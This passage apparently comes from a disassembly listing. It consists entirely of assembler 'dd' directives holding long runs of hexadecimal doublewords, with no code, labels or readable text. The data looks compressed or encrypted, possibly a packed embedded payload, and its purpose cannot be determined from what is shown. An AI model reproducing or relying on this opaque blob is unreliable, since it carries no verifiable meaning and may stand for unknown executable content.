51245B5Ah, 0BEF7A4ABh, 0A4DA1D80h, 0E02220A4h, 4F9F46BFh dd 0AC90EC50h, 8C552DE9h, 1EEFFE20h, 0D9A022D8h, 0E35339Ah dd 0E5A0AA62h, 0E4F8B050h, 0A1FA5E88h, 59CED464h, 0F77B5379h dd 145BF834h, 0D76EFD1Fh, 0B37C8AE3h, 264CFB02h, 0CC36608h dd 0EB990BC7h, 5FEBA29Fh, 0EDCB88C1h, 0F3710B38h, 855D89E4h dd 29AFB0D3h, 0C4DC3F6Eh, 9EBA9802h, 19C024D7h, 27ADBF52h dd 930E1064h, 0AEF28000h, 0B7B35366h, 0BC7AF3EEh, 0E922C30Bh dd 644585Ch, 8850C1FEh, 0EAB0D8CCh, 93F56FFCh, 0D0B25B1Ch dd 0E4E276C9h, 873456E5h, 0B14E25A7h, 0B1F178EEh, 8100CF9Fh dd 3F0A42E6h, 0D74E0FB7h, 235A3A02h, 78F18141h, 5FF2C1Ch dd 322EF218h, 0F067C3C8h, 5E58C790h, 8ED4294Ah, 109C8FBAh dd 18AB951h, 662626EDh, 44978784h, 0FD119829h, 20E60DA0h dd 88241E84h, 5B0011C7h, 17B65258h, 4BE60580h, 0BA5CD2E9h dd 347DA229h, 5CEEE917h, 0CF8D2643h, 9DA60248h, 40E9F712h dd 0B210DE75h, 0AD64F406h, 0E9873413h, 457116h, 2CEE5BDDh dd 0C24809DCh, 0CE9F7CE7h, 0ABE78522h, 0F20C30EAh, 270BCA06h dd 20F913E9h, 70431504h, 0BAECF450h, 0C1A95C9h, 1C4D35Eh dd 808D9C09h, 2E4D59A9h, 0E098BBB3h, 9E2768C8h, 52D07662h dd 0FDD61A7Dh, 18076FEBh, 38EC6753h, 1CE9EAC0h, 4A7074C8h dd 0D72E1EDAh, 3238BEEDh, 67DD4D78h, 0A95B015Eh, 2F6F6538h dd 0B608A36h, 4FBB1FA0h, 7E542E57h, 75571706h, 4D20080Ch dd 0AC064691h, 48A8E38h, 246FC9CAh, 2638803Ah, 0CB2F4047h dd 380C5929h, 0B4685281h, 2E2C9D2Eh, 0C0D646C8h, 71CB0594h dd 1252197h, 2554C5C3h, 80C2307Eh, 58F194F7h, 8806E75Eh dd 7BF2CDE7h, 564B44F0h, 82FAC524h, 457F170Ch, 84EB1FE6h dd 0BB18B311h, 6008C450h, 0D1E958ABh, 8D2ABC8Dh, 6B3A0712h dd 408A83E0h, 8B24C702h, 0FA1206B4h, 0B297ABE4h, 2DC7B509h dd 0F20165ACh, 2E5E7B1Eh, 0BBEED83Eh, 58659517h, 0FC5E5EF8h dd 0EF255FDFh, 5F58DEBAh, 50B230ACh, 0E3528182h, 5DC09AFDh dd 4B96B06Ch, 0DD7E2422h, 0F205BBA9h, 48AFC5DBh, 0C080A5F9h dd 45BFC31Dh, 0CC07599h, 1B82416Ch, 16EA5BE9h, 0F381F98Eh dd 43C08C53h, 40F93D8Eh, 0D653AB7Eh, 0BB277EF8h, 7B994C12h dd 9E988456h, 71876D25h, 55408ADBh, 0BD6BCF5Eh, 775455A9h dd 0EA72F253h, 46D4740Ah, 8AF0451Eh, 80F8282Ch, 6E321426h dd 0EB322BFDh, 0A0EB965Fh, 4C6107B0h, 0C204F11Dh, 0C1E29EFDh dd 7B5AD7C0h, 5B79FCCCh, 4CB4F3A7h, 4E8221Ah, 312717EEh dd 0C6C48061h, 0E4C18D4h, 29145072h, 7924572Fh, 0A5F4EA37h dd 0B024BF45h, 0EE800B30h, 0BD60B50Dh, 22823056h, 465197BCh dd 2A509713h, 532ADC67h, 0F12BFCF7h, 2E69057h, 0E9C7FE5Ah dd 0C0CB5010h, 17BBF6B2h, 0C1173A60h, 4D0107E6h, 795E37EAh dd 65E5DE82h, 7C4805AFh, 641D252Dh, 0D143669Ch, 0F0774B70h dd 5B833CF1h, 3B5E822Ch, 5DDF0977h, 1BE28FB3h, 0EF4E46E4h dd 0FAEC59E5h, 0DBD29779h, 3BF82D5Eh, 4A13D09Fh, 6548B5F8h dd 774C4103h, 32FA521Fh, 5A124D7Ch, 7D0FEE21h, 0CADECB7Dh dd 0BC0BF1C9h, 0B7E09827h, 340033BAh, 0D16832DEh, 91CD21CBh dd 0CF290BAEh, 7A2D2D99h, 89298FA5h, 0AA6E542Dh, 4C5EF32Dh dd 4D68158Ah, 7C25E666h, 80064E8Bh, 855FAA5Bh, 29198B41h dd 2831E3B1h, 27101D2Dh, 79552587h, 11547AC3h, 211C905h dd 69E1CFC1h, 8A4ACF39h, 37E9172Dh, 0A8480AFCh, 10B194C4h dd 7B3D12D4h, 6B5006D8h, 0A20D51DBh, 7AF02006h, 6F0281Eh dd 512EB26Fh, 0EEAA0890h, 40C4C780h, 0D25868FAh, 1F08B90Eh dd 4667E2E9h, 0C0ED2C1Bh, 8C096FD9h, 66135DD6h, 831D55CFh dd 0E913BEEEh, 317EA0A8h, 25F0C8FFh, 0DF687209h, 7E988055h dd 3A3546B4h, 4BA79D07h, 0A9789B74h, 4F0AD40Eh, 0BBCFB130h dd 69002B72h, 55DBF710h, 137FA3BDh, 0BA0961D1h, 59BA4141h dd 0B6303ED6h, 0BB6900Bh, 0C86EE94Eh, 0EE4AC4DAh, 41B2FF88h dd 35F1ECACh, 0FBE63013h, 0C308EF1h, 6AA097AEh, 0C04CF9C3h dd 27572B3Eh, 72EDF6CEh, 0D7E8636Eh, 0FA568295h, 5A02095Dh dd 650FB034h, 0ABD1527Fh, 0B63B1235h, 37517AD1h, 0BD2C500Ah dd 524C6C53h, 730071A1h, 0D305356Fh, 44B937Eh, 31642F0Dh dd 2D38BC34h, 59B5DC06h, 31ACC3Fh, 0DD62E926h, 0C51C00AFh dd 412DEFB0h, 4FCA2BFDh, 412AF650h, 0A44DA6Fh, 0EB720D24h dd 80E7669h, 656B767Eh, 0EFF50851h, 168D512Dh, 0F72721D2h dd 0A6BA0051h, 212E0F3Bh, 0CB84D329h, 16CCEA03h, 2D6B3986h dd 0BB740113h, 0C12D934h, 588920F9h, 0F33FC485h, 72801F6Ch dd 0F501FBAEh, 6AD7821h, 41695D20h, 70CBF18Ah, 62B80441h dd 4D5CF304h, 4805362h, 5B90C5C6h, 9260FCFDh, 1FED01ABh dd 2A9ADCBBh, 0BD127B86h, 0A95B4AE4h, 0F9210981h, 45F9F92h dd 0D68824h, 0D8597C68h, 30587C3Bh, 310F78BFh, 9BA15FF8h dd 1EB04AEh, 93CA5396h, 78842E92h, 568128AFh, 0DF15329Fh dd 5B47E40Bh, 78488790h, 5452B120h, 25D448A0h, 5DEF9A53h dd 0E905F9E7h, 0C3F7DF1Fh, 50E0B10Bh, 78883465h, 63253ED4h dd 99DFC84Bh, 0E328B8A2h, 344F4364h, 2CEB6012h, 0FB415036h dd 0EA26C43Fh, 0BD21D3DCh dd 0A478C290h, 0E2DC79BDh, 1875C743h, 2D41A9EBh, 83F6394Dh dd 277CF140h, 4FA9B047h, 1030F3CAh, 0B15B509Fh, 0CAC62063h dd 2A5B7704h, 29C1D9F7h, 9B61708Eh, 95A00C80h, 39E9BA05h dd 5E124C96h, 0D4479ECCh, 33071C02h, 606F0A6Ch, 0A246AEF7h dd 1E9050Bh, 0AD197304h, 70044329h, 57BF09BAh, 304BB62Fh dd 395CEA29h, 0CFD6679h, 0D439BE24h, 0CD020DCDh, 4A54B478h dd 0F29F5F63h, 0BB5DAB14h, 0CE85DC0Eh, 0DEB740E8h, 0B27A67BEh dd 0C6F23598h, 1CE77E31h, 6C67B2ACh, 289FE10h, 54625205h dd 5734E0EDh, 0FB1E503Fh, 7C950CC9h, 80C7573h, 1C833910h dd 84456A00h, 0B62CE974h, 5DE953BEh, 0B96604h, 0D053B5BDh dd 0FA9034h, 6ED83854h, 0E907E5C1h, 9202B64Fh, 7D03EAC0h dd 0F764E1E0h, 613C1297h, 132EC1E8h, 0D310A22Ah, 94167CA2h dd 79FFF34Fh, 79AF662Dh, 5F16424Ah, 8D025509h, 0EDD7E603h dd 0BF32F0Dh, 39926608h, 122C771Eh, 507027F6h, 0BC0ADC0Ch dd 40F7E29Dh, 8077C432h, 0FEE5D388h, 0FCDD96DFh, 0FDD9FCE3h dd 97D94371h, 0C417AA05h, 0D08081B9h, 5860685Ah, 0D75C795h dd 6B3C7F2Dh, 0F71068CEh, 0FB012513h, 5BAD3E02h, 478FA840h dd 0F84D4078h, 830D038Dh, 4D25D42Dh, 79488914h, 0C37AD300h dd 7FF0BF23h, 0E91572FAh, 76846396h, 3B2BE50Fh, 732F6F39h dd 0CBC1DABCh, 730669F8h, 0E5A15EF6h, 20BAF66Ah, 0E9ED5BFDh dd 97BC44Dh, 681780CAh, 70DF338h, 9EC6EBEh, 6BEFE9B1h dd 17C8CE48h, 8116A37h, 40287191h, 0AE13024Ah, 0CE73C301h dd 0AF7114D4h, 0E9CEC36Bh, 0C0A5B18Ch, 0A72404C8h, 7A104E59h dd 715E6809h, 95606A7Eh, 0B8060911h, 4C510F8Eh, 461820E2h dd 0ED968ED6h, 0FAAD9FEFh, 0E22C4B2Fh, 7629A277h, 85E985ADh dd 0DEFBB85Fh, 7A0D554Bh, 0B9385F45h, 0E06CD465h, 2FE95351h dd 2A2599A2h, 0D981EFDEh, 6C6CEA83h, 0DC84192Dh, 15A7B859h dd 80E8866Ch, 37F72B58h, 0EA650168h, 25E93C80h, 0EB4864A8h dd 0D487012Dh, 79570231h, 20402189h, 6A0B6593h, 0A944E920h dd 0E1280759h, 0F5681472h, 8BCD4CA2h, 3F47E577h, 0B07D6F26h dd 6195BBC0h, 0F1E0764Ah, 775A2EC2h, 0AEE10885h, 0B8CE8001h dd 0A9CBC6FEh, 93F9D6F6h, 0EA00766Dh, 24A216E7h, 0BF98CA29h dd 42E90880h, 541784Dh, 0C5B35350h, 0F3F1C1EBh, 250689A6h dd 9DAF5088h, 4DB63158h, 0F8CF5027h, 53B32D04h, 0F95384h dd 8003E1C0h, 0F61118F1h, 2C040AD9h, 0E0BCA74Ah, 0D2EB1D9Ch dd 4AACB8E2h, 0AFD22CB3h, 965C4528h, 0D7F75071h, 23AA6812h dd 61101DA3h, 542503F0h, 0D2213F15h, 5FD8A258h, 53D95553h dd 5FE9F662h, 9453092Ah, 7707BE56h, 0AA200D40h, 15DA5D2h dd 7D37E9BDh, 595A926Eh, 849D6144h, 6802724Ah, 4DEC468Bh dd 5E0A0727h, 0EB56E48Dh, 0B27FCAD9h, 4A0DB649h, 0BE8FD25Ch dd 3D02BDECh, 120730Dh, 90142F2h, 0A7578508h, 0DC48318Ah dd 0C945A24h, 0EF1FF14Fh, 26EA180Bh, 8E776D5h, 89208584h dd 0D62B640Eh, 0F05FCBEBh, 8A6C953Fh, 0D602A2B8h, 12D9C44h dd 0C08327Ch, 0EC5859E7h, 772546F7h, 8BD56529h, 5BE6CBF0h dd 6B4DC595h, 0DEF74410h, 0EE3B83E6h, 1F81BA01h, 2D076869h dd 76D97132h, 6490BCAh, 729705FAh, 0B8FBFA75h, 799641CDh dd 77E05005h, 0DC4F559h, 8D1F7CAh, 876417EDh, 0C680015Bh dd 5AF32839h, 63C3DC59h, 0AD4EEBF4h, 5E76B8E0h, 68E33072h dd 98951BAEh, 0BF761F5Dh, 36958AB4h, 8A30B560h, 0C39A2BE9h dd 0BA4DACBh, 8D4B02BAh, 1FC65DA3h, 2300554Eh, 6B1936B9h dd 0D9F73E45h, 0A5845A7Ah, 0C7A2201Eh, 0DFC582Eh, 80C5693Ah dd 6B6A0C07h, 880B846h, 1A087D6Ch, 9945263Ah, 13FB4535h dd 85C9A210h, 0F5F159E9h, 13D0F63Eh, 0C0A704A0h, 0C9828837h dd 571088DCh, 92725925h, 2336EA0Ch, 0F0C90C2Ah, 0FCBA4ABCh dd 0D6052D63h, 0F2E98693h, 301C389Dh, 0D7D75BDAh, 2F100008h dd 5964BB79h, 68086AE8h, 0E90917A6h, 53EEC1C2h, 2E6583ECh dd 27F3BCDh, 0D539A8E3h, 55608FE0h, 0CED2D9B5h, 0ECBAED2h dd 2D95D11h, 0A26229CAh, 4BF3723Fh, 44EB8DECh, 7423C7B9h dd 0EBBB074Ah, 813F23E0h, 5BAF03F3h, 0DE31CF37h, 5A1E2DA8h dd 76228224h, 11F18B92h, 0C518B36Eh, 0EE407FE9h, 0CF20F6B8h dd 7C094847h, 1DDAF715h, 0A54B78h, 0FBA05ECh, 81F4439Ah dd 68ABA961h, 686D2B4Dh, 0B312684Ch, 0B594080Bh, 0A8B82116h dd 20CEE703h, 0DFC30854h, 747FC7C0h, 132E1D5Ch, 0C6BC8A60h dd 24EFDFA3h, 0FEC2D265h, 657D2962h, 325D4B77h, 22187701h dd 4CD649E8h, 8CDA44ADh, 0E9E0E8F5h, 73BF699Dh, 8EC980FDh dd 97423913h, 26B02F1h, 0B33026Eh, 4F9CCA04h, 5F4369EBh dd 57E6B10h, 0E9656709h, 0F5EA7057h, 9189A0D9h, 6257F281h dd 95765017h, 0BE883556h, 5F688580h, 528F331h, 6D6C35A9h dd 8CEC8DAEh, 5BF8098Bh, 3D3209F5h, 2754842h, 0D78BFD3Dh dd 705EE491h, 63DF6E33h, 0FBDD4DC9h, 21DC49A8h, 0ED804000h dd 9DE5C0EEh, 0B70FD0F3h, 0CCE7C139h, 0E23AD7F6h, 2504202Eh dd 2E79AC97h, 20B4D4BFh, 0C05BFD27h, 0B873F59Fh, 0CD594A20h dd 7F637A53h, 0EB187D3Ch, 0D06249C1h, 7E0C465Bh, 0C304FB64h dd 0FAAA26B0h, 21BF81FAh, 994F7CCFh, 0BB0048F8h, 3E3F732Dh dd 5B5BF527h, 9FE99ED9h, 0B25EED2Ch, 596882FEh, 82DB5161h dd 48B46AE1h, 4C39760h, 3652120h, 46DE4ABAh, 101EDDF7h dd 4F972AB1h, 6650BEE8h, 4B9F7088h, 792EF8D3h, 7072F602h dd 604652EBh, 0E40CA6C9h, 0B7E9133Ah, 0DE4CFC8Ah, 0EE5E3349h dd 5868049Eh, 0C01B2C60h, 1664198Bh, 0C8010F1Fh, 6648B64Bh dd 5D03090Ch, 27D71E7h, 62CF8732h, 6F9475B5h, 595F5105h dd 0C1A013E9h, 9F449F29h, 0E2E5C7Ch, 46F7E08h, 12D0A6ADh dd 0F24BB7BEh, 81E29F14h, 207287D9h, 16417CAAh, 0CDA7BF60h dd 6E7702C5h, 466B73F8h, 173DD808h, 49C7F02h, 0CA8C1883h dd 0F821137Eh, 0E27A2169h, 0C15C8021h, 723112E8h, 61D074C8h dd 906808C2h, 0C5A37E06h, 0A89EE916h, 0AF5F2D15h, 20BB4B28h dd 0B1EBD0Bh, 64316029h, 1D79FCD9h, 7E4AD8B0h, 0E129E8Ah dd 6B76EACFh, 0C6817BFh, 93DFFD78h, 0AAA565E8h, 997A0DCDh dd 0CF50A7A9h, 4DE0090Dh, 0D1D20DA1h, 0A11298E2h, 3F03C1A5h dd 74E0DFFEh, 368031F0h, 5E08EFC5h, 3BA9FEC8h, 0AF4A1B4Fh dd 6C14951Fh, 4008900Ch, 0B5B65921h, 78C579C9h, 5180E3F7h dd 143E1CB9h, 0F9CE668h, 3C2EB8F8h, 954DEA4h, 2C56E5ADh dd 4B7C2792h, 3CFFDCBCh, 8220C1D1h, 43029753h, 0E07DDAB7h dd 735AEF3Eh, 4BC3A0C0h, 0E1B08612h, 0B72D7554h, 0A204C24Bh dd 52BE4CE9h, 871BBE98h, 0C898D908h, 20698A25h, 439B3E11h dd 506882D2h, 71235C02h, 0F86889DEh, 0F2987DB2h, 0E9830DC1h dd 0D42E85CFh, 0C8419DFh, 5A7684F6h, 0C7EFC280h, 9DC4E2FDh dd 1A274645h, 3CFA00DAh, 951CAE15h, 8E929209h, 2570B09h dd 0D5B40599h, 0C77CA2EEh, 72022EF7h, 0D75E2CACh, 0A8EB3604h dd 1CB8145Dh, 68F80416h, 0A8B31013h, 0E2F35A72h, 0BADE85A4h dd 955A638Ch, 0B5D02268h, 2975E1EAh, 5E523196h, 6B6E887Ah dd 446D2FA5h, 0CEEB0621h, 10D1575Fh, 0B00093C9h, 58C1881Eh dd 0CFE04FB7h, 0A7208D98h, 0E5462AAh, 860FEFD6h, 7C1945ABh dd 9FD9205Dh, 0A65F537Dh dd 50902B9h, 59B17132h, 77293F57h, 7433B860h, 7859762Ah dd 70CF9041h, 0CE0BC601h, 8F3F2439h, 0F4A3551Ch, 337C90BBh dd 2E91F89Dh, 6854A90Ah, 3F3602E4h, 9BC22BFDh, 0F2809DF2h dd 5652E952h, 3FCA02C1h, 8146D96Bh, 5E7AFAB6h, 0F07F0921h dd 8FE036E3h, 0A2882560h, 9E69EC65h, 56298884h, 60325C13h dd 18815552h, 2E06342Dh, 0CF087FC4h, 92CB3DCFh, 515C0547h dd 0A5B5A49h, 61C3E95Ah, 5F6202Ah, 97230168h, 50FE2C4Dh dd 7579B800h, 0D8F72EABh, 59560B25h, 1F562924h, 65E62D01h dd 0D2711084h, 554C8854h, 19454055h, 336CB240h, 0D831C448h dd 8C2C3E4h, 5593D3F7h, 2DC0D509h, 790A6E91h, 0B3E3D14Eh dd 24A9F30Fh, 0DD85898Fh, 16671280h, 0AD275AEAh, 8E041319h dd 0F0DE4422h, 2BBB0016h, 817F8C62h, 2D70B1CBh, 0EAC794Eh dd 0BD05FC20h, 3D370C28h, 11A7A480h, 297E3B3Eh, 0FC04754Ch dd 8179A122h, 7078B2E9h, 0EC0514Ah, 3F0D092Fh, 0C1E1A889h dd 78483E47h, 4156BC4Fh, 7415F0F3h, 0E9D7E6C2h, 0CC366AB6h dd 0D16812CFh, 0EBDA6113h, 60EB79A5h, 7A63D482h, 0F781184Bh dd 85E90DD0h, 541D09BEh, 485B5F8Bh, 14219317h, 0BA4F7B0Bh dd 0EF690F00h, 0C9FEE934h, 0A392A7BCh, 43B6EA97h, 0A6CD3F3Bh dd 0D30E2B1Eh, 4FF3ECC5h, 637B0539h, 431ADD17h, 8F46EDD1h dd 311F6749h, 92EB4EDEh, 29D561EBh, 0E940F446h, 0B98E820h dd 5FF9315Ah, 13F49904h, 0EDED4C16h, 104C0110h, 314C2959h dd 0EBB7475Bh, 2D8DE278h, 88CA8FDh, 0FF583E24h, 86E93130h dd 30CB31AFh, 5380A21Fh, 0B0F3985Dh, 0F7FCFF8Ch, 33090D7h dd 67CA185Ch, 0F5F9EF31h, 0AD242B59h, 0D4C1EB87h, 0DAF86D0Eh dd 3410BFAAh, 79B5D9CBh, 7BA56FE5h, 560D06DCh, 93419250h dd 9D4338F8h, 942DC453h, 0EAE91904h, 80E727BCh, 68676FA4h dd 39ED8308h, 0D4818101h, 56445809h, 33228257h, 0FF3EFE78h dd 18841AA0h, 0F5EC6C90h, 7476451Ch, 0ED6F0C30h, 894B17FAh dd 7D3BC0EFh, 2A5A5051h, 20E930C8h, 535906D4h, 435B1C1Fh dd 7203AE64h, 0E131548h, 2208EB6h, 0AFEF125Fh, 0C2AFE585h dd 6EFD7B55h, 0F85B5AD7h, 5CE9E1E9h, 54F6D051h, 3E5B01ECh dd 32B63C30h, 0E9120D06h, 6D51429Ch, 45943CF2h, 40A1F134h dd 784E68F0h, 0AC2AA2A1h, 1668E1B0h, 0CAC0177Eh, 4EA9703h dd 0E86210B2h, 0A160C4ACh, 0D8215A02h, 5027E552h, 3DE27B03h dd 648B322Fh, 8A7782D7h, 0C6C67FA7h, 0B6CD097h, 0C02BBE82h dd 76D505D7h, 0CA28DB91h, 0D330C22Ah, 45C951D6h, 0A5B4ACFBh dd 58929F76h, 1CF3690h, 0F164733Bh, 0BF0C0519h, 0F74FFECAh dd 0BC3110A4h, 99EE067Bh, 0C0C3840h, 140204Ch, 0E9F18923h dd 0B073F870h, 8DB12578h, 0B7097D72h, 0FD34B252h, 55C6A40Fh dd 29261C83h, 0A0A7ABCAh, 22808F5Ah, 4F2D989Fh, 10AFA6FEh dd 0E9C64160h, 98B6236Fh, 5FEEE970h, 6CEDC9BEh, 6B51494Ch dd 0C78D5E0Ah, 0D5C93FEDh, 132DC480h, 0E7F64125h, 0EF9898A3h dd 430B1437h, 0AB09E94Fh, 0F8375ED3h, 64BDAC67h, 41F9F1A0h dd 0E374F24h, 5D365677h, 31253AC6h, 64A149BDh, 0C06F2ACh dd 5E33EEA5h, 307D5B55h, 9D404005h, 4BDA7729h, 6BDAE1C0h dd 0EBD20DF3h, 0D8689944h, 283EC9AFh, 0C6599FD7h, 3D7F5B6Dh dd 9EC860D2h, 2858F1A6h, 40D0840Dh, 0D7F81D1Ch, 874F8251h dd 0FA117840h, 7840D197h, 9ABF0388h, 7CE2C3Bh, 0A8872DE9h dd 0E2683821h, 10062640h, 0D009161h, 785F5298h, 0A09DF031h dd 68CE878Ch, 0D7D9956Bh, 5E1B18A4h, 50B8B2F5h, 32B138FCh dd 9570EB58h, 7A57AE49h, 5FCB21B2h, 0A4DC1ED7h, 5F892081h dd 2F403AA2h, 0F8970449h, 0C1184ED7h, 0C04AB548h, 70D466E8h dd 5F31213h, 0D2C400ECh, 626802A3h, 405FA957h, 39805950h dd 0E9A6F0C1h, 0E0B60FE5h, 0FE2CCE21h, 0D40AAFC6h, 201603AAh dd 2E3E5AF1h, 28717601h, 0BF6865B5h, 73F739h, 0C7FEECEFh dd 0E936B050h, 96D69529h, 0F6E208h, 6CA3C981h, 0C117349Eh dd 130905E1h, 60FC9AC2h, 81B5BF05h, 0E398D151h, 0D1764BE2h dd 98462693h, 4A5A0B8Bh, 0BA39C451h, 3842EA7h, 685902B7h dd 73965F12h, 0DBE943C2h, 93AAFDEFh, 48C00B4Fh, 802A169h dd 515B27D9h, 0F7585976h, 4F68E6F1h, 9E00E8D0h, 8BFDCEFh dd 0F42F3F54h, 0ED630721h, 0B684236h, 73096A5Fh, 5B1AA54Fh dd 5300A9D4h, 270A6855h, 5D0E3B47h, 9EB9A2CAh, 110342EEh dd 0E8022C2Ah, 3016A7CEh, 0C9781209h, 364B7328h, 0B71141AFh dd 20C253DCh, 0B81791B2h, 5EA3714h, 37E56BC5h, 0B9C382CFh dd 0A1352E52h, 0AAE0D5Ch, 83F26881h, 3C70FEF3h, 5A03E676h dd 51E8E7Ah, 78A48F4Eh, 2071C9ABh, 6400759Eh, 8FBD7124h dd 978EDB9Bh, 78E9F102h, 5E1341F6h, 0AC4BFCFCh, 0B3969F5Ch dd 0B0C051C3h, 12E18008h, 0B1C1FE42h, 643EE9A4h, 3C4B3318h dd 688003E9h, 3F6057ACh, 8222E927h, 0FF78041Ah, 0BF890DC5h dd 636A5D4Ch, 980EEF42h, 3051C2C1h, 7EB8785Fh, 9F2ECD0Bh dd 42225733h, 2104C5EEh, 0B22327AAh, 6CD7C115h, 56F4F4D6h dd 0A958B0D4h, 68C20859h, 9BDC663Bh, 0F77BF071h, 3E231218h dd 3778ADB2h, 0D610C973h, 0B4381B16h, 66E20EBDh, 45123F58h dd 2B5E6B49h, 3FD2F00Eh, 2112D601h, 0AB7E21E3h, 32823E64h dd 556DC0EBh, 0B340973Dh, 26B142D8h, 0EC58522Fh, 6469BDEDh dd 27FD6958h, 0EB50E953h, 0A144756Dh, 4B7E7509h, 7DF0012h dd 172881Ch, 60E2719Fh, 0F129712Dh, 0F8014B0Ah, 0E90B0705h dd 7CB2A95Bh, 3503BFF6h, 17E643D3h, 3D71CBF9h, 215EC4C7h dd 0E9A598FAh, 0E660B42Dh, 5A0BF239h, 6107928Eh, 107A2C56h dd 80D1ECF4h, 0D68A8F59h, 802A48Bh, 58133D52h, 1D5DCDF8h dd 555CC689h, 0ABB5A4C6h, 0DBA19835h, 218F1F86h, 3F7ACCF9h dd 0BE1FC6D3h, 100B159h, 64BA52CEh, 410D0467h, 0BEEA29E9h dd 0F85BA79Bh, 2E8AD4C7h, 0D16A435Ah, 8C232103h, 47840414h dd 0C882A8E9h, 5F40B4EDh, 9832F264h, 20915AF5h, 7BEF68BAh dd 4C2DA692h, 0BFE2F17Fh, 6103BD16h, 3E33BC9h, 0F50888B8h dd 654FE268h, 0F8D24148h, 74638142h, 59205152h, 0C953137Ch dd 6002BE3Dh, 0A032E943h, 30160D8Bh, 0A9D4EF07h, 2CC8017Ch dd 0E2DC1D05h, 418E200Ah, 0EAE0ADCEh, 0DDBBFBE5h, 9627127Dh dd 9C32CD61h, 10E8E23Bh, 88076A47h, 445B66FCh, 0D1A984E6h dd 0C052F6A3h, 68255AF0h, 600EDE76h, 710CBDB0h, 0B3B25200h dd 802DB450h, 0C05D24ECh, 210C308Dh, 584EE228h, 23E900B1h dd 0FEFE002Ah, 0B1E9DD88h, 0C479E89Fh, 44D28322h, 8132AEABh dd 286AAE55h, 7E9617Bh, 0A19178E8h, 0ED383FE2h, 0C37B4CDEh dd 0FC04F529h, 312529A3h, 40F0A8F0h, 0AB05550h, 5BEC840h dd 3A15661Fh, 6C220429h, 0C5490ED2h, 3122CAC7h, 6C305558h dd 30804F9Bh, 0DED1E4CAh, 4780D208h, 76DC880Bh, 6B0A785h dd 5AA5C649h, 7A3C55A1h, 490E0D01h, 2A5C292Ch, 478139A2h dd 7830E920h, 0DCA35BC8h, 844A2D58h, 0B02CEFDAh, 0D2A4BE5Dh dd 0F92034CEh, 0BF660EBDh, 3187C140h, 0B027BFAh, 0FF096208h dd 3B4E5402h, 7A46D409h, 8D3B7984h, 0F71570A6h, 0D60BD76Ah dd 43E408h, 3AA1E181h, 0F1EC38B1h, 0FE536F0Fh, 0B3C1817Ch dd 5E38E23h, 8D7D2618h, 0EDC182A0h, 0BF641455h, 0AB04BF32h dd 0A101C053h, 2F023606h dd 0C9F961BBh, 59E177D0h, 0EB36F29h, 1FBC47C4h, 61781AEFh dd 676B5082h, 0F291A20Dh, 5969CB7Eh, 0F33E444h, 147A69E9h dd 6696A160h, 3748452Dh, 0BB03F720h, 5F43589Ch, 81AC0009h dd 0A71403F2h, 0EC14215h, 457941A8h, 3F22F140h, 0E0F94A65h dd 56484E1Ah, 4E3E2F97h, 0A2C279Bh, 763AF876h, 8459203Ch dd 91E6E9D7h, 6084EFF3h, 0D8CCEEA8h, 3CB70753h, 30FDE780h dd 0DFF601C7h, 8A300898h, 0B6B81E52h, 0FE3026BFh, 3C71147h dd 66E0B551h, 0FAA8FB52h, 96C3DDF5h, 0C5CB0A2h, 1EB7644Ch dd 31FD30B2h, 2431D40h, 1E16FD5Dh, 9BAC4E20h, 0EE8E8805h dd 504A2F3Bh, 225F2505h, 44203150h, 305A02D3h, 0C9FE5BF9h dd 2E2DC3E1h, 64B866C2h, 2648ECD6h, 84DC6715h, 0BE34441Fh dd 94DFFBD1h, 3021BA00h, 0DA9F6AFAh, 7EB048Fh, 0FC192C28h dd 53411069h, 0E290522Ch, 0BE00C52Ch, 5CDFCFB7h, 53013DBCh dd 103B820h, 42421F5h, 845BA908h, 92C85DE8h, 50E44318h dd 7131F7Ah, 49EF17A9h, 308E0312h, 5A607B61h, 33A4B643h dd 5A9ECE8h, 31281026h, 33B904DFh, 5147F5A4h, 13955E8h dd 0E3C191B4h, 0DE798FE5h, 423F582Eh, 0BA04B1DAh, 291292BFh dd 6F8EC6E1h, 0BB87C152h, 40A6450Fh, 0C5FD154h, 7CAE7413h dd 99676BD1h, 526FB501h, 2850ED63h, 0C490509Ah, 28AA8DD6h dd 6C401BA8h, 98EFB84Bh, 87545EA8h, 55010A8Bh, 0EAFDA060h dd 0CFA13105h, 1699208h, 0FB019D95h, 6380006Eh, 40C2F8EBh dd 8B62E65Bh, 37B0818h, 103EE13Fh, 4026406Ah, 6240B7A4h dd 11FE400Ah, 0D529CB66h, 8CAD3108h, 3B7A320h, 3110F6DAh dd 4008735Fh, 24D40166h, 88AD8B01h, 0C6F3D28h, 4451E9FBh dd 777010C4h, 6213204h, 66084A50h, 0A1CF792Fh, 20EC5B20h dd 69313379h, 5A46083Ah, 8731905h, 0C3E18C7Ch, 0F1F0081Bh dd 0BDA8388Ch, 1FB6E08h, 208C2D4Ch, 9C0868CBh, 5610D41h dd 0C2008BFh, 30A8B154h, 0C3087362h, 0F3F10255h, 3C9D0803h dd 95C03328h, 7F20C1C6h, 7E492008h, 52AC6B54h, 5D0888E3h dd 7067086Eh, 405BA70Ch, 9E366DDh, 0FC201889h, 788A3186h dd 164CE10h, 120114F6h, 0BA088C96h, 404F185Fh, 0E5626F64h dd 0E6D6810h, 7508FF68h, 0F9203A2Fh, 8AED331h, 188A174Dh dd 98C46C8Ch, 399D18BFh, 10206382h, 31B9C618h, 92D915Ah dd 831D0888h, 2671DE18h, 0A4E80B2h, 9238DC80h, 79234014h dd 0AC20606Fh, 0C63608EFh, 875B8C1h, 0E1D09120h, 0CA53D851h dd 3DB9088Ch, 32636040h, 18A5C508h, 8706918h, 0EF814DE5h dd 1AFA988h, 31B87115h, 11286978h, 0C90C1088h, 8FA6B0Ch dd 0ADD9C627h, 9934108Eh, 0C4468967h, 2008E82Ah, 0A933E483h dd 3378F967h, 9BE95010h, 774AB910h, 8C68C224h, 0E308985Bh dd 0B6A09E54h, 790A10CCh, 5A59C452h, 24560944h, 60918B48h dd 0C3036245h, 800C2918h, 92189F08h, 0CE4E40B0h, 40474A40h dd 0C0638CACh, 18407208h, 8424118h, 79814BAEh, 8D36598Ch dd 5A40EC10h, 7BF0A80Fh, 6EA8358h, 69A7702h, 0F120C949h dd 6C442065h, 209DBA20h, 83148B9h, 6BC910BEh, 5118CA03h dd 2F18B588h, 9E08C6F5h, 817D1877h, 0E13B08CCh, 26009A4Bh dd 9A7456C1h, 38483950h, 0CE8114BCh, 0EEE5D051h, 490FAD03h dd 0D3FC9C60h, 815FA420h, 4A2C31EFh, 0E3C78B26h, 9D474491h dd 33F3B10h, 13EB0275h, 0B90E1B89h, 50003DA7h, 408F4401h dd 17C90B49h, 1C8BF775h, 0DE057A1Fh, 0C8B9F003h, 0C07833F3h dd 